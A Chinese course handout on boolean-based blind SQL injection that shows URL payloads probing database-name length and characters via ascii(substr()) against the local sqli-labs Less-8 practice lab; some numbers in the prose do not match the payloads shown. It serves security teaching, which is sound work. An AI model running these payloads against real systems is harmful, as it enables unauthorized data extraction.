计算机网络安全技术 SQL注入之布尔盲注

2023年12月821:56:29发布者:EMT 163 views 举报
总字数:约1503字
第1页

第2页

布尔盲注是什么?

当存在 SQL 注入时,攻击者无法通过页面或请求的返回信息,回显或获取到 SQL 注入语句的执行结

果,这种情况就叫盲注。

布尔型盲注就是利用返回的 True False 来判断注入语句是否执行成功。它只会根据你的注入信息

返回 Ture Fales ,也就没有了之前的报错信息。

什么情况下考虑使用布尔盲注?

1. 该输入框存在注入点。

2. 该页面或请求不会回显注入语句执行结果,故无法使用 UNION 注入。

3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。

布尔盲注是在 SQL 注入时没有回显和报错,无法使用联合查询和报错注入时的手段, 它通过返回的布尔

true false 来判断注入语句是否成功 ,所以被叫作布尔盲注。

布尔盲注获取 sqli-labs 名称

安装 sqli-labs 数据库后,在虚拟机中打开链接: http://127.0.0.1/sqli-labs-master/Less-8/ ,以第 8 关为

例,用布尔盲注获取数据库名称:

获取数据库名字的字符长度:

输入下面代码正常回显,说明数据库名称字符长度大于 0

输入下面代码无回显,说明数据库名称字符长度小于 10

最后经过测试确定数据库名称字符长度为 8

ASCII 码获取数据库名称的字符

字母在计算机中可以转换成 ASCII 码,在 SQL 语句中也能判断长度,从而确定数据库名称的字符范

围,进而猜测具体字符

substr 函数:截取字符

concat :将多个字符连接成一个字符串

首字符:

下面两条命令 120 无回显, 110 有回显

?id=2' and length(database())>0 --+

?id=2' and length(database())>10 --+

?id=2' and length(database())=8 --+

?id=2' and ascii(substr((select database()),1,1))>120 --+

?id=2' and ascii(substr((select database()),1,1))>110 --+

猜测 ASCII 码值为 115 ,有回显, 116 无回显,所以正确的 ASCII 码是 115

运行结果:

计算机网络安全技术 SQL注入之布尔盲注

查看 ASCII 码对照表,确认数据库首字母为 s

第二个字符:

下面两条命令 110 无回显, 109 有回显

猜测 ASCII 码值为 100,100 无回显, 101 有回显,正确 ASCII 码为 101 ,第二个字母为 e

运行结果:

?id=2' and ascii(substr((select database()),1,1))=115 --+

?id=2' and ascii(substr((select database()),2,1))>105 --+

?id=2' and ascii(substr((select database()),2,1))>102 --+

?id=2' and ascii(substr((select database()),2,1))=101 --+

总页数:4
提示:下载前请核对题目。客服微信:homework51
标题含“答案”文字,下载的文档就有答案
特别声明:以上内容(如有图片或文件亦包括在内)为“电大之家”用户上传并发布,仅代表该用户观点,本平台仅提供信息发布。